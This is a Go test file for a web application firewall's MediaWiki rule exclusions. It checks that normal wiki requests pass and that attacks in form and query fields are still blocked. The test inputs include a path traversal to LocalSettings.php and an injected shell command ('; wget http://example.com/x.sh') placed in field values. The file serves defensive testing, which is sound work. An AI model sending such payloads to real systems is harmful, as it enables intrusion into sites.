check / check (push) Failing after 2m47s
Each app's fixes are one .conf file, whose first rule skips the rest unless Inspect sets tx.app_<name>, and one entry in apps. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5
398 lines
12 KiB
Go
398 lines
12 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"slices"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const mediawikiThreshold = 5
|
|
|
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
|
|
|
// mediawikiAPI is MediaWiki's API.
|
|
const mediawikiAPI = "/api.php"
|
|
|
|
// mediawikiRESTPage is a page in MediaWiki's REST API.
|
|
const mediawikiRESTPage = "/rest.php/v1/page/Example"
|
|
|
|
// mediawikiUpload is MediaWiki's upload page.
|
|
const mediawikiUpload = "/wiki/Special:Upload"
|
|
|
|
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
|
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
|
|
|
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
|
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
|
|
|
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
|
|
// to.
|
|
const mediawikiBlock = "/wiki/Special:Block"
|
|
|
|
// mediawikiProtect is the address MediaWiki's form for protecting a page
|
|
// posts to.
|
|
const mediawikiProtect = "/index.php?title=Example&action=protect"
|
|
|
|
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
|
|
// URLs posts its sign-in and upload forms.
|
|
const (
|
|
mediawikiSignInPage = "/index.php/Special:UserLogin"
|
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
|
)
|
|
|
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt", atDefaults(t), readingBodies(t))
|
|
}
|
|
|
|
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"mediawiki"},
|
|
})
|
|
|
|
// A search, which only MediaWiki's fixes let through.
|
|
search := get("/index.php?title=Special:Search&search=python3")
|
|
|
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
}
|
|
|
|
func TestHostnameListingMediaWikiLetsItsRecordedRequestsThrough(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The requests were recorded on example.com.
|
|
apps := map[string][]string{"example.com": {"mediawiki"}}
|
|
|
|
bodies := shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
Apps: apps,
|
|
})
|
|
|
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt", servingApps(t, apps), bodies)
|
|
}
|
|
|
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
|
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
|
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
|
// path where it skips them, ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiQueryFields = []string{
|
|
"/index.php?title=",
|
|
"/index.php?title=Special:Search&search=",
|
|
"/wiki/Special:WhatLinksHere?target=",
|
|
"/wiki/Special:Log?page=",
|
|
"/wiki/Special:Log?user=",
|
|
"/wiki/Special:ListUsers?username=",
|
|
"/wiki/Special:AllPages?from=",
|
|
"/wiki/Special:AllPages?to=",
|
|
"/wiki/Special:PrefixIndex?prefix=",
|
|
mediawikiSignIn + "&returnto=",
|
|
mediawikiSignIn + "&returntoquery=",
|
|
"/wiki/Special:ListFiles?ilsearch=",
|
|
"/wiki/Special:FileDuplicateSearch?filename=",
|
|
mediawikiUpload + "?wpDestFile=",
|
|
"/wiki/Special:BlockList?wpTarget=",
|
|
"/index.php?title=Special:BlockList&wpTarget=",
|
|
"/w/index.php?title=Special:Search&search=",
|
|
"/index.php/Special:AllPages?from=",
|
|
"/w/index.php/Special:Search?search=",
|
|
"/api.php?action=opensearch&search=",
|
|
"/api.php?action=query&list=search&srsearch=",
|
|
"/api.php?action=query&list=prefixsearch&pssearch=",
|
|
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
|
"/api.php?action=query&generator=search&gsrsearch=",
|
|
"/api.php?action=query&titles=",
|
|
"/api.php?action=parse&page=",
|
|
"/api.php?action=query&list=allpages&apfrom=",
|
|
"/api.php?action=query&list=allpages&apto=",
|
|
"/api.php?action=query&list=allpages&apprefix=",
|
|
"/api.php?action=query&generator=allpages&gapfrom=",
|
|
"/api.php?action=query&list=allimages&aifrom=",
|
|
"/api.php?action=query&list=allimages&aiprefix=",
|
|
"/api.php?action=query&list=allusers&aufrom=",
|
|
"/api.php?action=query&list=allusers&auprefix=",
|
|
"/api.php?action=query&list=backlinks&bltitle=",
|
|
"/api.php?action=query&generator=backlinks&gbltitle=",
|
|
"/api.php?action=query&list=exturlusage&euquery=",
|
|
"/api.php?action=query&list=usercontribs&ucuser=",
|
|
"/api.php?action=query&list=blocks&bkusers=",
|
|
"/w/api.php?action=opensearch&search=",
|
|
"/rest.php/v1/search/title?q=",
|
|
"/rest.php/v1/search/page?q=",
|
|
}
|
|
|
|
// mediawikiAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2FLocalSettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
targets := append([]string{"/index.php?id=", "/load.php?modules="},
|
|
mediawikiQueryFields...)
|
|
|
|
for _, attack := range mediawikiAttacks {
|
|
for _, target := range targets {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// mediawikiBodyField is a field of a form data body, sent to a path.
|
|
type mediawikiBodyField struct{ target, field string }
|
|
|
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
|
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
|
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
|
// a path where it skips them.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiBodyFields = []mediawikiBodyField{
|
|
{mediawikiEdit, "wpSummary="},
|
|
{mediawikiUpload, "wpUploadDescription="},
|
|
{mediawikiUpload, "wpDestFile="},
|
|
{mediawikiSignIn, "wpName="},
|
|
{mediawikiSignIn, "wpPassword="},
|
|
{mediawikiMove, "wpOldTitle="},
|
|
{mediawikiMove, "wpNewTitleMain="},
|
|
{mediawikiMove, "wpReason="},
|
|
{mediawikiBlock, "wpTarget="},
|
|
{mediawikiSignInPage, "wpName="},
|
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
|
{mediawikiUploadPage, "wpDestFile="},
|
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
|
{mediawikiAPI, "title="},
|
|
{mediawikiAPI, "from="},
|
|
{mediawikiAPI, "to="},
|
|
{mediawikiAPI, "summary="},
|
|
{mediawikiAPI, "sectiontitle="},
|
|
{mediawikiAPI, "filename="},
|
|
{mediawikiAPI, "comment="},
|
|
{mediawikiAPI, "reason="},
|
|
{mediawikiAPI, "user="},
|
|
{mediawikiAPI, "lgname="},
|
|
{mediawikiAPI, "lgpassword="},
|
|
{mediawikiAPI, "username="},
|
|
{mediawikiAPI, "password="},
|
|
}
|
|
|
|
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
|
// 930120 and 932120.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiReasonFields = []mediawikiBodyField{
|
|
{mediawikiBlock, "wpReason-other="},
|
|
{"/index.php/Special:UserRights", "user-reason="},
|
|
{mediawikiProtect, "mwProtect-reason="},
|
|
}
|
|
|
|
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiWikitextFields = []mediawikiBodyField{
|
|
{mediawikiEdit, "wpTextbox1="},
|
|
{mediawikiAPI, "text="},
|
|
{mediawikiAPI, "appendtext="},
|
|
{mediawikiAPI, "prependtext="},
|
|
}
|
|
|
|
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
|
mediawikiReasonFields)
|
|
|
|
for _, attack := range mediawikiAttacks {
|
|
for _, sent := range fields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
} {
|
|
for _, field := range []string{"source", "comment"} {
|
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
|
body := `{"` + field + `":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
|
// fields that skip the other command rules, as a query value.
|
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
|
|
|
for _, target := range targets {
|
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
crs = readingBodies(t)
|
|
|
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
|
body := `{"comment":"; wget http://example.com/x.sh"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, value := range hardValues {
|
|
for _, target := range mediawikiQueryFields {
|
|
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
|
|
t.Errorf("%s%s refused: %+v", target, value, got)
|
|
}
|
|
}
|
|
|
|
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
|
mediawikiWikitextFields...)
|
|
|
|
for _, sent := range fields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
|
|
// A reason names the command or file in a sentence, as recorded.
|
|
for _, sent := range mediawikiReasonFields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, refused := range []string{
|
|
"/?search=python3",
|
|
"/index.php?search=python3",
|
|
"/index.php?title=Example&other=python3",
|
|
"/other.php?title=python3",
|
|
"/api.php?other=python3",
|
|
"/rest.php/v1/search/title?other=python3",
|
|
"/?q=python3",
|
|
"/load.php?other=.htaccess",
|
|
"/x/api.php?search=python3",
|
|
"/x/index.php/Example?search=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
|
|
crs = readingBodies(t)
|
|
|
|
// An uploaded file named .htaccess is still refused off MediaWiki's
|
|
// paths.
|
|
r := request{
|
|
http.MethodPost, "/upload.php",
|
|
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
|
}
|
|
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
for _, target := range []string{
|
|
mediawikiAPI, mediawikiUpload,
|
|
mediawikiUploadPage, "/w" + mediawikiUploadPage,
|
|
} {
|
|
r.target = target
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ target, field string }{
|
|
{mediawikiEdit, "wpTextbox1=python3"},
|
|
{mediawikiEdit, "wpSummary=python3"},
|
|
{mediawikiSignIn, "wpPassword=python3"},
|
|
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|